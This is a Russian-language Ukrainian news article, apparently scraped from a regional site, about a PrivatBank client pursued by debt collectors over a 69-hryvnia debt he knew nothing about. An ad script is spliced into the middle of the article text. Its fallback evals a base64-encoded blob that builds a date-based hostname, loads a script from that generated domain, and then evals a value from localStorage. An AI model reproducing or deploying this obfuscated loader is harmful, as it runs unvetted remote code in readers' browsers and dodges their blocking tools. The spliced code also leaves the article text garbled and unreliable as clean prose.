Клиент ПриватБанка пожаловался на его работу. Мужчине стали названивать коллекторы с угрозами из-за небольшой суммы долга, о которой клиенту самому не было известно.
Об этом на своей странице в соцсети написал Андрей Лохматов.
По словам мужчины, некоторое время назад ему начали часто звонить с неизвестного номера. В трубке голос робота предупреждал о грядущем заседании «кредитного комитета», поэтому нужно немедленно оплатить долг.
Клиент банка не знал, о каком долге идет речь, так как не брал никаких займов, а робот в телефоне не предоставлял эту информацию. Как выяснилось позже, мужчине звонила юридическая фирма «Дельта-М», которая занимается возвратом задолженностей клиентов банкам.
Клиент решил написал в контору электронное письмо, чтобы его проинформировали о долге. Оказалось, он должен 69 гривен государственному ПриватБанку. При каких обстоятельствах появился этот долг, мужчина не понимал. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Возмущенный клиент отправился в ближайщее отделение банка, чтобы задать вопрос о распространении его персональных данных, оказавшихся в итоге у коллекторов.
Мужчина жалуется, что ПриватБанк не разу не сообщил ему о долге до того, как передал его данные коллекторской фирме. В итоге, долг был оплачен, но клиент остался недоволен пренебрежением к его персональным данным и политике ПриватБанка.
«Зато я теперь могу четко ответить, почему я ухожу от такого банка. Да, сегодня Приватбанк все ещё остаётся лидером среди банков страны как по количеству частных и корпоративных клиентов, так и по размеру кредитного портфеля, хорошим рейтингом стабильности и так далее. Но сервис важнее. И с таким подходом к нему и к удобству своих клиентов и отношением к ним, не как к партнёрам, а как к студентам, которые опоздали в общежитие до его закрытия, он очень быстро растеряет всех своих клиентов. И все они пойдут к тем, кто решает проблемы клиента, а не создаёт их ему. » — завершает сообщение мужчина. (adsbygoogle = window.adsbygoogle || []).push({});
В Приватбанке выдали купюры с плесенью: нигде принимать не хотятЭксперт рассказал, сколько украинцы переплачивают с кредиткой Приватбанка Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/klient-privatbanka-iz-za-69-griven-stal-mishenyu-kollektorov-o-dolge-emu-ne-soobshhali/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
